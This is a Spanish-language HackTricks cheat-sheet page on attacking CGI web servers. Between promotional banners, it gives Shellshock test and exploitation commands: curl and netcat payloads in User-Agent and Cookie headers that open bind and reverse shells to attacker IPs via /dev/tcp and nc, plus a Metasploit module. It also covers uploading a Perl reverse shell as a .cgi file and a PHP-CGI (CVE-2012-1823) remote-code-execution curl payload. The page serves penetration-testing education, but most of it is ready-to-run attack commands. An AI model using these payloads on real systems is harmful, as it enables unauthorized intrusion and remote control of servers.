6.9 KiB
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Información
Los scripts CGI son scripts perl, por lo tanto, si has comprometido un servidor que puede ejecutar scripts .cgi, puedes subir un reverse shell de perl `/usr/share/webshells/perl/perl-reverse-shell.pl`
, cambiar la extensión de .pl a .cgi, dar permisos de ejecución `chmod +x`
y acceder al reverse shell desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI se recomienda usar nikto -C all
y todos los plugins
ShellShock
Bash también puede ser utilizado para ejecutar comandos que le son enviados por aplicaciones y es esta característica la que afecta la vulnerabilidad. Un tipo de comando que puede ser enviado a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan la forma en que los procesos se ejecutan en una computadora. La vulnerabilidad radica en el hecho de que un atacante puede añadir código malicioso a la variable de entorno, que se ejecutará una vez que la variable sea recibida.
Al explotar esta vulnerabilidad, la página podría mostrar un error.
Podrías encontrar esta vulnerabilidad notando que se está utilizando una versión antigua de Apache y cgi_mod con carpeta cgi
o utilizando nikto.
Prueba
La mayoría de las pruebas se basan en hacer un echo de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflejado, ciego y fuera de banda)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Explotación
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM a solicitudes de servidor web)
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intenta enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
PHP antiguo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Básicamente si cgi está activo y php es "antiguo" <5.3.12 / < 5.4.2
puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros especialmente sin enviar el carácter "="
.
Entonces, para probar esta vulnerabilidad, podrías acceder por ejemplo a /index.php?-s
nota el `-s`
y el código fuente de la aplicación aparecerá en la respuesta.
Luego, para obtener RCE puedes enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
y el código PHP a ejecutar en el cuerpo de la solicitud.
Ejemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de Writeup de CTF.
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.